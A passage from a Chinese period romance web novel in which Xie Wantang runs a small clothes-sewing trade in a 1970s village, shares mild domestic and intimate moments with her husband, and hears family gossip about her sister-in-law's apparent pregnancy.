谢晚棠明明是好心,担心青宁被蒋有年骗,催促他快去解决,结果好心被当成驴肝肺,被他妹妹和他娘又是骂**,又是骂贱人。 她一定很难过。 而这一切都是他带来的。 傅青山叹了口气,放下药碗,上炕把人轻轻拉起来,连带着被子一起抱在怀里,下巴蹭着她柔软的发丝:“棠棠,对不起,别难过了,人各有命,以后我们都不管了。” 谢晚棠并不难过,她只是生气,气自己心软,自讨苦吃,活该! 谢晚棠梗着脖子,抬头看他:“姐姐才不难过!” 傅青山愣了下,看她倔强的小辣椒模样,笑着摸了摸她头:“这么厉害啊,不难过那笑一笑?” 谢晚棠撅嘴,故意为难‘罪魁祸首’:“你说姐姐你真厉害,我就考虑笑一笑。” 傅青山闻声,表情可以用变化万千来形容了,就在谢晚棠以为他绝对不可能叫出口的时候,听到傅青山轻声道:“姐姐,你真厉害。” 她就是随口一说,没想到傅青山真会叫。 而且傅青山叫姐姐的时候,有点害羞,听起来就像撒娇。 猛男撒娇什么的,极大地愉悦了她,她心情好,心里那些生气烦闷都消了大半,扬起唇角,故意得寸进尺道:“那你说,姐姐,哥哥永远爱你!” 傅青山苦笑:“那到底你是姐姐还是我是哥哥呀?” 谢晚棠舒服地靠在他结实的臂膀里:“我是你的姐姐,你是我的哥哥。” 小娇妻在怀,傅青山只得妥协:“好,姐姐,哥哥永远爱你。” 看谢晚棠终于笑了,傅青山不轻不重地捏着她的指节摩挲:“那姐姐现在可以吃药了吗?” …… 翌日。 傅青山上班走后,王寡妇和老三媳妇带着村里七个相熟的妇女来找她做棉服。 这个年代钱不富裕,村里女人一般都很过日子,都是给男人孩子做新衣裳,用男人孩子穿下来的旧布旧棉花给自己改改缝个棉袄棉裤凑活穿着过冬。 前些日子傅大嫂和老三媳妇来帮着做活的时候,谢晚棠给两人一人做了一身新棉衣,这两天冷了,两人穿上出去串门,谁不眼馋啊,都是女人,谁愿意穿得破衣烂衫的,谁不想跟谢晚棠似的打扮得漂漂亮亮的啊。 之前村里就有人来找谢晚棠做过秋装,知道从她这用布便宜,又听傅老三媳妇说她还买了不少棉花回来,棉花也便宜,一时都动了心思。 看看人家傅老三媳妇,刚分家,家底还没她们殷实呢,穿得都比她们好,正好王寡妇说要做,她们就一块来了。 村里普通人家没什么钱,不像邻村那些女干部条件好,家里下的鸡蛋鸭蛋就是好东西了,攒几个带过来给谢晚棠当辛苦费。 谢晚棠也不挑剔,反正她布料棉花都挣了中间商差价了,而且她家小鸡还没成年不能下蛋,家里正缺鸡蛋呢,开开心心收下。 可以少买点鸡蛋,这又省一笔花销。 有的家里男人老人会手艺的,编的大大小小的三四个竹篮,装东西可方便,这种手工制品谢晚棠也很喜欢。 还有个带来两只刚睁眼的小灰兔,说是男人上山打的野兔抱的小兔,这个不光谢晚棠喜欢,小刚妞妞爱得不行,宝贝似的抱走了。 大家都知道傅青山能挣,家里条件好,来之前还怕做棉服麻烦,谢晚棠看不上她们这点东西,有点拘束,没想到人家谢晚棠一点都没瞧不起人,什么接过去都笑呵呵的,还很有礼貌地谢谢她们,大家心情一下子轻快起来。 刚摸了小兔子,谢晚棠出去洗了手,拿过来兰兰的那几本书,让大家先挑款式。 村里妇女哪见过这么多花样,看书上的衣裳哪件都好看,讨论得可激烈,家里一时间比大集还热闹。 等到选好款式、颜色、量完尺、算完钱,已经是一个多小时以后了。 因为王寡妇和老三媳妇的极力推荐,除了棉服,每人都还额外订做了一件内衣,谢晚棠也不多要,只加收了两毛钱。 坦。胸漏。乳地量过尺后,大家的关系迅速拉近。 几个妇女直夸谢晚棠家亮堂,谢晚棠苦笑:“也欠下不少钱,得慢慢攒钱还。” 村里爱吹牛逼的人多,像谢晚棠这样不吹呼还低调的谁不喜欢,大家都安慰她:“没事,你家青山能挣,早晚能还上!” 还有一个妇女啧啧感慨:“真好,小谢,真羡慕你,晚上再也不用偷偷摸摸避着孩子了!” 谢晚棠:“……” 谢晚棠尽力融入70年代奔放的农村妇女群体,尴尬笑笑:“也不敢太大声音,不隔音,孩子会听到。” 妇女们艳羡地看着她:“你家青山这么厉害呢!” 谢晚棠:“……” On no! 虽然不该谈。性。色变,但随时随地谈性,她真的不行啊!!! 好在王寡妇及时转移了话题:“昨晚你婆婆是怎么回事?大半夜跟号丧似的。” 老三媳妇也不知道具体怎么回事,就知道昨晚婆婆带着小姑子来谢晚棠家吃饭,来的时候小姑子就摔摔打打的,被婆婆拖去的,回去的时候一个摔了门,一个被傅青山硬拖进屋,骂骂咧咧了半晚上,后来小姑子和婆婆两个人不知怎么的,又自己狗咬狗吵吵起来,后半夜才安顿下来,闹得她也大个晚上没睡好。 谢晚棠虽然彻底厌恶这母子俩,但也不愿意背后议论人,摇摇头:“就是些烂事,没什么意思。” 挨着王寡妇坐那个妇女压低声音:“是不是因为她跟蒋知青的事?” 谢晚棠闻声皱眉,那妇女一看谢晚棠表情就知八九不离十:“我前几天晚上出去,看他俩牵着手在大街上走,你说一个大姑娘家,也不知道要脸?” 另一个妇女也道:“我前两天还看着他们抱在草甸子里亲,不会干那事了吧!” 谢晚棠扶额,原来她还不是第一个看到的。 老三媳妇惊呆了,拉着谢晚棠:“她不会真跟蒋有年那啥了,被二哥抓着了吧!” 谢晚棠摇摇头:“她跟蒋有年有没有那啥不知道,昨晚叫她来不是说这是,是青山给她介绍了个单位新来的青年,让她来见见,她不喜欢,就喜欢蒋有年,跟我吵吵起来。” 有点阅历的妇女哪个看不出来蒋有年一肚子花花肠子,村里的知青和漂亮闺女,他几乎勾搭了个遍,之前还因为骚扰谢晚棠,被谢晚棠举报到大队,挨了批斗。 傅青山单位的青年,那起码是有正式工作领国家工资的,而且傅青山能介绍给自己妹妹,青年肯定不会差,这样的人傅青宁都看不上,真是被蒋有年迷瞎了眼了! 王寡妇不理解:“她不喜欢就不喜欢呗,她哥要给她介绍的,她跟你吵吵什么?” 谢晚棠无语:“说我嫉妒她找了蒋有年,才撺掇她二哥给她介绍别人,是想故意坏她的好事。” 王寡妇:“……” 妇女们:“……” 老三媳妇翻白眼:“不知道香臭的东西!” 王寡妇无语:“那你婆婆昨晚一路骂骂咧咧也是骂你?” 谢晚棠点头:“应该是吧。” 毕竟在她家就一直骂她,路上还能掉转头骂别人? 王寡妇哼了声:“她闺女不知道好歹也就罢了,她多吃了那么多年饭,也眼瞎不分好赖?” 谢晚棠耸耸肩:“反正她们的事我以后是都不管了,我就过好我自己的日子,其他的都跟我没关系。” 破壶配破盖,跟渣男相爱相杀去吧。 老三媳妇拍拍她肩膀:“二嫂,不惜的跟这些人生气。” 谢晚棠点头撇撇嘴:“当然,臭狗屎还不配来熏我。” 傅老太在村里名声本来就不怎么好,妇女们本来还有点同情谢晚棠,一看谢晚棠这么想得开,都笑着夸她这样想就对了! 不去想那些烂人,一想又能开工挣钱了,还挣了这么多鸡蛋鸭蛋手工艺品还有小动物,谢晚棠心情就特别好。 送走王寡妇她们,谢晚棠回来跟妞妞一起坐在当门里摸小灰兔玩。 谢晚棠找了之前小刚和妞妞不穿了的旧衣裳给小灰兔铺了个窝,毛茸茸的小家伙,暖烘烘地贴在一起,互相取暖。 傅青山回来的时候天都黑了,在天井里支下车子,看到当门里亮着橙黄的光,不时还传来热闹的说笑声。 拎着猪肉推开当门,谢晚棠坐在当门里,孩子们围着她一圈,两人视线对上,傅青山小心地打量,见她眼角眉梢都带着笑意,才放下心来,然后才看到她手下的小兔:“这是哪儿来的?” 小刚抢答:“这是娘给人做衣裳,别人送的!可爱吧爹!” 傅青山点头:“可爱。” 说完看向谢晚棠:“别太累,还有我。” 刚才傅青山眼神里的小心翼翼,谢晚棠自然看在眼里。 其实昨晚傅青山立场摆得很正,没有任何妈宝男的摇摆行为,一直坚定地维护她,事后想想,她是满意的。 摊上这样不讲理的妈和妹妹不是傅青山的错,他也没办法,他只能做好自己。 她昨晚生气情绪爆炸的时候,无法自控地连坐了他。 吃过晚饭,喝药打拳泡脚一条龙结束,等两人关上房门,谢晚棠感觉坚定维护老婆的男人应该得到奖励——比如一个火辣热情的老婆。 一根手指勾着傅青山的衬衣领口,轻而易举地把松柏一样的男人拉到炕边,指尖反向用力,轻轻在他胸口一点,傅青山喉结动了下,随着她用力的方向顺从地坐下。 两人一坐一站,终于可以平视。 谢晚棠站在他两腿中间,主动搂住他的脖颈,指腹轻捻着那温热的皮肤,迷恋地望着他那黑曜石一般明亮的眸子片刻,不再忍耐涌动的情欲,抬腿上炕。 傅青山如她心中蛔虫,搭在她腰间的手适时下移,稍一用力,便轻松将她带上来。 她跪坐在傅青山大腿上,整个人往前贴向傅青山,顺势把人压倒在炕上,居高临下,抬手勾起他的下巴,声音如魅如惑:“今晚,姐姐来宠爱你,好不好?” 第67章 今晚不是加班,是补班。 晚上炕烧得热,两人都只穿了一层单衣。 谢晚棠坐在他大腿根,隔着薄薄的布料,能感觉到他的身体如同炙热的火焰一般烘烤着她。 身下强大的男人乖觉又急切、虔诚又焦虑,漆黑如夜的漂亮眸子一眨不眨地望着她,生怕她下一秒会消失一样。 这种奇妙的矛盾感极大地愉悦了她,她终于俯身下来,给他实质奖励。 碰触到那干燥火热唇瓣的瞬间,如同火星掉入干柴,傅青山原本轻搭在她腰间的手瞬间箍紧。 随着她每一次深吻,明显感觉身下的火越烧越旺,皮肤碰触间的温度越来越高,几乎要将她烤干一般,促使她更加放肆地汲取着萦绕舌尖的甘泉…… 身下的男人看似顺从乖觉,任她摆弄,实则在她闭着眼睛沉浸在第一次主动的热吻里时,那双凌厉的黑眸里暗潮翻涌,强烈的占有欲几乎要从眼中溢出,将她狠狠地吞噬。 她的热情主动犹如一颗VC在水中泡腾,噼里啪啦,瞬间激起他的躁动与渴望,然而那青涩探究的小动作如蜻蜓点水般甜甜地从他的舌尖掠过,不仅不能满足那疯狂的躁动,反而撩拨起更多…… 他要一口全部吞下才堪堪能够解渴。 他也这样做了。 一个翻身,轻易将人压在身下,占据绝对主动,她如受惊的小动物般水汪汪的大眼睛,于饥渴的野兽而言,是无法抵抗的诱惑。 他毫不犹豫地吻住她的唇,唇舌交缠间将她的惊呼声堵住,急促而狂热地想要狠狠占有她,给她每一寸皮肤都印上属于自己的烙印,宣告他的所有权。 谢晚棠也被他的狂热激起性。致,热烈地回应着他,干柴烈火在即,身上的人却突然停下动作。 谢晚棠迷蒙地看他:“怎么了?” 傅青山垂眸看看她腿下,又抬头皱眉看她:“棠棠,你,好像来例假了。” 谢晚棠……?? 例假? 她每个月来例假时间都不准,也没刻意记过,而且她来例假前一般都会起痘痘,胸也会发胀,顶的难受,有了这些症状,用不了两三天例假就来了。 例假来当天还会腰疼肚子凉,更明显。 今天她什么感觉也没有啊,怎么可能来例假了? “不可能!” 说着坐起来,结果垂眸就看到身下浅灰色的床单上有一团暗色,的确很像经血。 但是不可能啊!月经大人能就这么轻轻松松放过她了? 可脱掉裤子,看到白色内裤上的鲜红血迹,完全确认了来大姨妈的事实。 傅青山下炕给她打来温水,找出来月经带盒新的衣裤,直到换好干净舒适的衣裳,谢晚棠还是不敢相信,居然可以无痛来大姨妈? 那些不痛经的人每个月来大姨妈都这么轻松的吗? “怎么会这样?” 傅青山把弄脏的床单和衣裤放到盆里,听到她喃喃自语,犹豫片刻提醒道:“是不是张老大夫的药管用了?” 傅青山这一提醒,谢晚棠突然想到,老大夫一共开了7服药,她才吃了5副,就这么神奇地起作用了? 而且这比吃布洛芬还无痛啊! 谢晚棠转而一想又皱眉:“可如果他真这么厉害,怎么没看出来——” 谢晚棠突然抿唇,及时止住后边不该说出来的话。 傅青山不解:“没看出来什么?” 谢晚棠摇头:“没什么,他可能确实挺厉害的。” 能给傅大嫂看好不孕不育,能给她治好磨人的痛经,能得到妇女主任的认可,医术肯定是没的说。 至于没看出来傅青山的病—— 可能是术业有专攻? 也是,就算祖上是清宫御医,也不一定就精通男科啊。 清宫里就皇上那么一个真男人,御医里主要还是伺候娘娘们,对妇科方面擅长也是可以理解的。 不管怎么说,能治好她痛经的大夫,就是好大夫! 我们中华医学果然博大精深! 傅青山把床单的衣裤洗干净晒出去后上炕,重新把人搂在怀里。 谢晚棠一想到自己主动勾引傅青山,结果把人家勾出火儿来,都箭在弦上了,又戛然而止…… 真真是有点过分了。 傅青山本来就有旧疾,她都怕他的箭经不住这么大风浪,直接折在浪尖上了。 谢晚棠犹豫了下,靠在他怀里仰头看他:“要不,我给你用嘴?” 傅青山怔愣片刻,反应过来用嘴的意思,皱眉打量她:“棠棠,你这些,都是跟谁学的?” 谢晚棠:“……” 傅青山一脸无奈的样子,显得她好黄好花好会玩特别变态似的。 可这些不都是小说里的常规操作吗?! 小说里都是这么写的啊!!! 她就是觉得要奖励傅青山结果没成,心里过意不去,想从其他方面稍稍补偿他一下而已啊…… 都怪燕姐,总在她面前开车!她只是受了启发也想跟傅青山开开车搞点夫妻小趣味,没想到小三轮还没上高速就翻了车! 被傅青山漆黑如夜的眸子盯着,无处可逃,如果不说出是跟谁学的,好像就坐实了她是变态的事实。 不能说是黄色小说,房事也不能甩锅给收音机,谢晚棠在心里默念三遍‘燕姐对不起了’:“郭队长。” 傅青山叹了口气,摸摸她头:“她还教你什么了?” 谢晚棠抿唇装乖:“没有了。” 其实她还会很多! 毕竟在有色小说里乘风破浪那些年,理论知识还是储备得很丰富。 但她不敢暴露,不好意思再拿燕姐挡雷。 傅青山低头,轻吻她额头:“棠棠,你不需要做这些。” 谢晚棠犹豫了下:“那你——” 傅青山:“随他去,过会就好了。” 谢晚棠心想,可这都已经过了半个多小时了,也没好啊。 谢晚棠有点愧疚,刚想说用手,傅青山给她把被子往上拉了拉,掖到肩膀:“闭上眼睛,睡觉。” 谢晚棠乖乖“哦”了声。 往常休息日都要拽着她加班的男人,难得催促着她早睡觉,她下午招呼人也确实累了,又往傅青山怀里靠了靠,难得在月经日睡个好觉。 翌日。 除了感觉到身下一股股热流涌出,依旧没有任何疼痛感。 谢晚棠惊喜,这位白发老大夫真是有点子水平呢! 吃过早饭,谢晚棠让兰兰去把傅大嫂和老三媳妇找来一起开工,谢晚棠问傅大嫂来例假期间药可不可以继续吃,傅大嫂说最好等例假走了再吃,又问她吃了药试着怎么样。 谢晚棠笑道:“真不疼了!” 傅大嫂拍拍她肩膀:“吃了张老大夫的药,你跟青山三年抱俩没问题!” 谢晚棠:“……” 这……可能他们要让大嫂失望了。 四个人说说笑笑开工干活,因为之前已经磨合过,再次聚在一起,干活效率比上次还高。 内衣繁琐,谢晚棠自己做。 棉服全部放手给兰兰、老三媳妇和傅大嫂,三个人也真得顶了起来。 兰兰负责用划粉划线,化好以后傅大嫂接着裁剪下来,老三媳妇用缝纫机跑起来,最后傅大嫂再缝上扣子剪剪线头,八身棉服才两天就做好了。 这次村邻们带来的主要都是鸡蛋鸭蛋,鸭蛋谢晚棠和之前攒的都一起腌上了,鸡蛋她家吃得快,在她家是稀罕东西,在傅大嫂和老三媳妇那儿却不缺。 两人刚分家,添置东西处处得花钱,都是自家人,等衣裳都做完,谢晚棠一人给了5毛钱。 她一件棉服差不多能挣3毛5的原材料差价,8件统共能挣2块8,再加上2毛钱一件几乎零材料成本的内衣,这批衣裳一共能挣4块4,付出去1块钱的人工费,她还能挣3块4。 她也不是抠门资本家,其实还可以多给两人一些,但毕竟这年代不能光明正大挣钱,这钱是投机倒把挣来的,她也担心给多了老三媳妇嘴不严再说漏了,让人抓了把柄。 5毛钱要说治个投机倒把的罪名,那就太牵强了。 虽然谢晚棠觉得5毛钱不多,但这年头,农村人一家子一年忙到头,也就能分个20块钱。 两人不过是农闲在家没事干,来帮两天忙,活也不算沉,居然就能挣5毛! 傅大嫂和老三媳妇一时间震惊得都不知道该说什么好,手里拿着钱,心里热乎乎的,老三媳妇直接道:“二嫂,跟着你吃好的喝好的,现在还跟着你挣钱,我试着恨不得能天天来帮着你干活!” 看看,只要有动力,老三媳妇这样的积极性都能被调动起来。 谢晚棠笑道:“我也想天天有活干啊!俺家缺鸡蛋,鸡蛋就不给你们了,给你们钱,你们自己想买什么就买什么,也方便。” 除了钱,她还把裁剩下的布头让两人分了分带回去,看能做点什么就用了。 送走傅大嫂和老三媳妇,谢晚棠也给了兰兰1块,兰兰不要,谢晚棠塞她手里:“上次和这次的一起,以后你跟着娘干的活,娘也都给你记着钱,等你长大了出嫁的时候,手里有钱,心里才踏实。” 兰兰闻声脸红:“娘,我才15……” 谢晚棠笑着捏捏兰兰粉嘟嘟满是胶原蛋白的脸,没说话。 书里,兰兰20就开始忍受人渣的家暴,足足有二十多年才挣脱出来。 这辈子有她在,谁也休想欺负她的兰兰! 她要让她的兰兰成为优秀又独立的新时代女人,男人只能成为兰兰的锦上添花,休想有臭狗屎过来恶心膈应兰兰! 承老三媳妇的吉言,这批小活刚干完没两天,好几波大活就接踵不断地找上门来。 先是村里又来了十来个妇女找她做衣裳,接着又有好几波邻村的,由她们村里之前来做过衣裳的妇女干部带着一起找过来,加起来足足有57套棉服的量! 毕竟这还没到改革开放,在这个完全计划经济,非常闭塞的年代,这已经完全超出了谢晚*棠的预期,家里库存的棉布、棉花都不够了,扣子、松紧带也都缺着不少,得赶紧去镇上大采购了。 她列好了要采买的清单,除了做衣服的原材料,还有家里需要买的东西。 正好明天是大集,傅青山还歇班,再借上两辆自行车,全家一起出动往家运,不然光她和兰兰还弄不了呢。 月经终于舒舒服服地结束了,晚上,谢晚棠洗了个澡干干净净地坐在炕上点钱。 大家拿来的都是几毛几毛的,理一理竟有那么厚一大摞呢,虽然跟傅青山的工资比杯水车薪,跟她曾经的工资奖金比更是九牛一毛,但这是她在这个贫苦的年代,靠自己的双手和智慧一点一点获得的广大劳动人民的认可。 看着村里的妇女们穿着她做的衣裳一个个鲜鲜亮亮的,她就是感觉很骄傲! 傅青山把炕前泡脚的水渍擦干净,洗完澡回来就看到谢晚棠还在炕上美滋滋地点钱。 他只穿了裤子,用毛巾把上半身擦干扔在一边,上炕把人揽在怀里,低头轻吻谢晚棠扬起的唇角:“棠棠。” 感觉到身下的反应,谢晚棠捏着钱的手一顿,回头看他,提醒道:“二哥,今天是我的休息日哦。” 她月经来了六天,按照之前做五休二的频率算下来,她今晚还可以休息一天,明晚再上工。 她现在脑子里全是小钱钱和明天的大采购计划,伸出一根手指摇了摇:“今晚不加班哦。” 傅青山垂眸看她,也跟她认真算起来:“棠棠,你来例假休息了6天,这个月剩下的假你都提前休完了,所以今晚不是加班,是补班。” 第68章 会不会是怀孕了? 谢晚棠:“……” 喂!资本家也没有这么剥削的吧! …… 翌日是大沟镇半月一次的大集,谢晚棠带着全家出动,按计划去镇上大采购。 赶大集主要是为了给孩子们的两个屋买衣柜和桌子,之前结婚的时候都在老房子那个小屋里,就一套家具,搬了新家分出来三个卧室,孩子们的两个屋除了一铺炕,进去空空荡荡的,连个家具都没有。 孩子们房间的东西,谢晚棠也不管,让他们自己按着喜好去挑款式,她和来卖家具的大队部年轻的木工社员商量定制一个到膝盖深的泡脚桶。 谢晚棠肯出钱,能给大队部创收,社员自然不会拒绝,认真记着谢晚棠的要求,直到听到那句“脚底带按摩功能”,一头雾水:“这个真没见过……” 谢晚棠回想以前在桃宝见过的简易款按摩木桶,给他描述具体构造:“就是正常的大木桶,然后你们做两个锯齿状的小滚轮放进去,泡脚的时候可以蹬着前后滚那样。” 木工社员怕做不好,达不到谢晚棠的要求,犹豫要不要接,谢晚棠已经把定金付给他了:“相信你一定可以的!” 看着她爽朗的笑容,年轻的木工社员也突然觉得自己一定可以呢! “好!那我试试!尽量做到让你满意!” “年轻人是未来的希望!就要有这样的劲头!我看好你!” “嗯嗯!我尽力!” “加油!年轻人!” 看着谢晚棠笑呵呵地给眼前年轻好看的男人打气,傅青山皱眉,谢晚棠喜欢好看的男人他从来都知道,但听着谢晚棠一直强调“年轻人”,他心里有点不是滋味。 他比谢晚棠大7岁,起码在谢晚棠这里不是“年轻人”了。 当着年轻好看的木工社员的面,傅青山宣誓主权般伸手揽住谢晚棠的腰:“孩子们选好了。” 谢晚棠看向搭在自己腰间的大手,又看看人来人往的大集,又抬眸去看傅青山。 傅青山垂眸,面色淡然:“怎么了?” 谢晚棠一头雾水:“没,没怎么,走,去付钱。” 傅青山:“嗯。” 这个大队部不止来了这一个年轻的木工社员,还有两个老社员,已经给几个孩子推荐好了衣柜和桌子,傅青山揽着她走过来,付过钱,说好下集的时候正好给拉回去,一直到离开卖家具的摊位,手都没有离开她的腰。 谢晚棠……?? 怎么突然转性了?喜欢在外边秀恩爱了? 不过他们是合法夫妻,又不是偷摸偷情,只要傅青山心里过得去,她自然是一百个愿意啊! 这么一想,心情瞬间爽朗起来,指了指前边卖布的地方:“二哥,我们去看看这家的布价格怎么样。” 自从开始做中间商赚差价,她也学会了货比三家。 不过大集上都是大队部组织出来卖的,价格自然没有黑市的大姨那么灵活,土布棉花都没有黑市大姨给得折扣力度大。 家里有好多村民找她做衣裳送来的鸡蛋,鸡蛋冬天放得住,能吃不少日子呢,今天连买鸡蛋的钱都省了,给孩子们一人买了一个集上的芝麻大烧饼吃了,骑上车子出发先去供销社。 听到她要买的扣子和松紧带的量,售货员一惊,这简直要把她们供销社的扣子和松紧带搬空啊! 傅青山在旁边站着,犹如一尊大守护神,售货员小心翼翼地问谢晚棠:“怎么买这么多啊?” 虽然扣子和松紧带不是紧缺物资,不要票,但这东西用得少,也没人一下子买这么多的啊! 谢晚棠笑笑,拿出提前就准备好的说辞:“给村里邻居们捎的,这不是要过冬了嘛,家家户户都要做棉衣的。” 售货员一想也是,不然还能是为什么呢,点点头给谢晚棠包起来。 今天是冬至,晚上要吃饺子的,下午要早点回去包,为了节约时间,大家商量了兵分两路,谢晚棠和傅青山直接去黑市找大姨买布,大刚和兰兰带着几个小的先去书店买书。 谢晚棠和傅青山商量:“那咱们是先去买布,还是先去买猪肉?” 兰兰闻声偏头看过来,抿唇道:“爹,娘,你们要买不少布,再去买猪肉不方便吧,要不我们买完书接着去买上猪肉,然后去找你们?” 谢晚棠今天计划要买的布和棉花很多,得耽误不少功夫,听兰兰这么一说,真是再好不过,把钱给兰兰:“除了猪肉包饺子,看看要是有排骨的话也来点,晚上咱们做个糖醋小排!” 兰兰接过来钱:“好。” 一想到很快就能见到他,脸上不自觉泛起一团红晕,烫烫的。 谢晚棠和傅青山直奔黑市卖布大姨这,谢晚棠这次要的布和棉花的量都特别大,除了已经订出去的48件,她还余了二三十件的量出来,怕后边再有人临时找上门来做,因为现在找上门的都是老客户推荐的,一来都是一波一波的。 卖布大姨喜笑颜开,谢晚棠一次几乎就买走她一两个月的量,她给谢晚棠一尺布和一斤棉花又降了1分钱。 兰兰买完书,迫不及待地带着弟弟妹妹来到黑市卖猪肉的地方,敲门看到是个光头男,她犹豫了下问道:“罗淮在吗?” 光头男上下打量她:“你是罗淮的什么人啊?” 兰兰抿唇:“我,是他的朋友。” 光头男皱眉:“朋友?” 兰兰鼓起勇气抬眸,对上光头男好奇打量的视线:“对,他在吗?你告诉他,赵兰兰找他。” 光头男转身进去,跟屋里正在剔猪的年轻人道:“罗淮,有个女孩来找你,说是你的朋友?哦,叫赵兰兰。” 罗淮闻声一怔,手里的刀没有拿稳,原本应该割在猪脖子上的,一刀落在了猪眼上,心疼得光头男哎呦一声,接过他手里的刀:“我的猪眼啊!!!” 冬至城里条件好的有提前预定猪脸的,把眼划花了的猪脸不吉利,价钱可就得大打折扣了! 屋里其他干活的都是中年男人,笑道:“哈哈哈姑娘来了,咱们小罗没有心了!” 光头男看罗淮站在一边红着脸发愣,摆摆手:“快去吧!” 罗淮刚要跑,一想自己一身一手的血腥气,皱眉,摘了一身血的围裙,又去院子压井那儿用皂角把手翻来覆去地洗,直到血腥味被皂角掩盖住,才深吸一口气,紧张又期待地朝大门走去。 推开大门,见到朝思暮想了两个月的人,罗淮心如擂鼓,攥了攥拳,尽量保持镇定:“你来了。” 两月未见,兰兰感觉面前的男孩好像又长高了,棱角分明的脸颊上多了几分坚毅和成熟。 兰兰点头:“罗淮,好久不见。” 罗淮怔了下,垂眸看她:“好久不见。” 兰兰。 兰兰问他有没有猪肉和小排,他点头,进去给她装好拿出来。 兰兰打开斜跨的布包拿钱的时候,顺带着拿出来一本书递给他:“罗淮,这个送给你,希望对你有用。” 罗淮接过来那本崭新的书——《母猪的产后护理》。 兰兰转身要走,罗淮叫住她:“兰兰,你家在哪儿?” 兰兰扬起唇角:“下沟村,你呢?” 罗淮:“二沟村。” 兰兰点头,笑道:“我记住了。罗淮,下次见。” 罗淮自己都不知道自己多久没笑过了,还会不会笑,但是,被她的笑容感染,他下意识就想对她回以笑意:“好。” 兰兰抿唇:“你笑起来很好看。” 二刚出门的时候走得急,忘带手套了,帮姐姐扶着车把,冻得手冷,来回换手哈气,着急地朝大门那儿看了一眼:“大姐跟那个卖肉的说什么呢?买个猪肉怎么这么久?” 大刚闻声看过去,看到那个卖肉的青年正对着姐姐笑,下一秒姐姐转身,笑着拎着猪肉和小排跑回来,心情很不错的样子。 又是家具又是布料棉花,都放在卖家具的拖板车上,浩浩荡荡拉回下沟村。 回家路过刘大水家胡同,刘大水老婆跟旁边妇女撇嘴道:“她怎么又买那么多布?我听说她好像在家帮人做衣裳搞投机倒把呢!” 刘大水身边的妇女前两天刚跟着王寡妇去找谢晚棠定了衣裳,选了个好看样式,还比自己去买布做便宜,一听刘大水老婆这么说,拉下脸来:“我看你是眼红嫉妒人家吧!人家帮着大家省钱又出力,不过是赚两个鸡蛋的辛苦费,还要被你打上投机倒把的大帽子!” 刘大水老婆没想到她会这样哒哒哒对自己开炮,愣了半晌:“我,我就随口一说。” 那个妇女瞥她一眼:“这种事能随便乱说嘛!你也是两个孩子的娘了,说话没点数啊!” 刘大水老婆:“……我不说了还不行嘛。” 原先都是跟着她一起背后议论谢晚棠的,现在居然口口声声帮着谢晚棠说话了…… 吃完冬至饺子和糖醋小排,翌日,谢晚棠的小团队重新开工。 不出谢晚棠所料,开工的过程中,又来了三波邻村的老客户介绍,她屯下的布料堪堪够用,妯娌三个忙了一个多月,终于赶在小年前全部做完了。 谢晚棠给傅大嫂和老三媳妇一人5块钱,两人高兴得不行,今年终于可以过个舒舒服服的好年了! 终于完工,身心都轻松下来,晚上两人一番热烈过后,谢晚棠懒洋洋地靠在傅青山怀里。 傅青山给她按摩着腰,突然想起来什么:“棠棠,你例假是不是很久没来了?” 谢晚棠最近太忙,白天忙着上班,晚上还得忙着补班……哪里还顾得上数例假日子。 傅青山这么一提醒,她想了想上次来例假的时间,一数,竟然都快50天了! 她之前例假就不准,延个40多天是常有的事,不过上次吃了老中医的药,那个月非常准时28天就来了,而且不疼。 这才第二个月就不行了吗? 时间都推到前所未有的50天了……该不会痛经也要卷土重来吧…… on no! 不要啊! 她怎么突然又老中医的医术没信心了T-T 翌日。 老三媳妇来给她送豆包,跟她说了一个爆炸性的消息:“傅青宁怀孕了!” 谢晚棠……?……! 谢晚棠惊得眼珠子都快掉出来了:“她跟你说的?” 老三媳妇嗐了声:“她傻啊,这种没脸的事能跟我说?她这些日子天天在家吐,那动静,不是怀孕了才见鬼呢!” 谢晚棠抿唇:“怀孕了就会吐吗?” 老三媳妇点头:“对啊!我和大嫂怀孕的时候都吐,就跟傅青宁现在一个样!这事没跑!你说这多丢人啊!” 谢晚棠心里叹了口气,她昨晚心里还抱有最后一丝希望,会不会有那么一丢丢可能是怀孕了例假才推迟这么多天。 听老三媳妇这么一说,她最后一丝希望彻底破灭,乖乖等着迎接痛经的蹂躏吧! 第69章 例假一直不来。 谢晚棠叹了口气,随口道:“那这不得赶紧商量结婚的事了?” 就算在21世纪,未婚先孕都不是什么光彩的事,更别说是在思想传统闭塞的70年代,既然怀孕了,早点结婚省得被人指点议论。 老三媳妇撇撇嘴,压低声音道:“那个蒋知青有些日子没来找她了,傅青宁天天耷拉着个脸,老太太那嘴都起泡了!” 谢晚棠:“这是不想负责?” 刚说完,谢晚棠立马想到书里的自己,开篇不就被蒋有年弄大了肚子然后始乱终弃下场凄惨,人骨子里的东西是不会变的,蒋有年这种人怎么可能会想负责呢。 老三媳妇哼了声:“我看着就是!不然怎么不来了?要是想负责,不得赶紧上门来谈定亲的事?” 谢晚棠:“那怎么办?就这么一直瞒着?” 老三媳妇翻白眼:“瞒?怎么瞒?等着过两个月肚子越来越大,瞒鬼能瞒过去!到时候就算挺着个大肚子结婚都丢人!你等着看吧,这事老太太早晚还得来找二哥。” 有了上次好心没好报被反咬一口的经历,谢晚棠长了记性,对傅青宁的事里外不掺和,她爱咋咋地。 不过还真让老三媳妇说着了,小年前一天,傅老太再也憋不住,吃过晚饭,打发傅大哥来找傅青山过去。 明天才是小年,傅大哥突然来叫,而且黑着个脸,弄得傅青山摸不着头脑。 谢晚棠才懒得管这些烂事,估摸着这事就算傅青山去了,一时半会也解决不了,还不知道得叨叨到什么时候呢,她带着孩子们打完军体拳,一块听着广播泡脚,泡完大刚把水都搬出去倒了。 孩子们回房间看小人书,谢晚棠换上睡衣,闲来无事猫进被窝画设计图。 这两天不忙,她仔细看了看兰兰那几本服装裁剪样板书,竟然都是60年代出版的,快10年了都没有更新过,一直是这些款式,只是农村消息闭塞,大家还觉得新奇好看。 她又有了一些新的设计灵感,画下来存着,等着后边统一修改整理,而且这种水平就能出书的话,那她感觉也没什么难的,她也能哎! 到了老房子,傅青山发现不止傅大哥黑着脸,他爹和老三坐在炕上也都丧眉搭眼的,傅青宁脸色蜡黄,神色恍惚,他娘则红着眼闷声抹眼泪。 傅青山皱眉:“怎么了?” 三个男人都耷拉着脸不说话,他爹的烟袋还一锅子接一锅子,抽得屋里呛嗓子,傅青山等了半天没人回应:“没事我回去了。” 他娘一看他要走,赶紧一把拉住她,低声哭诉:“老二,你妹妹她,她——” 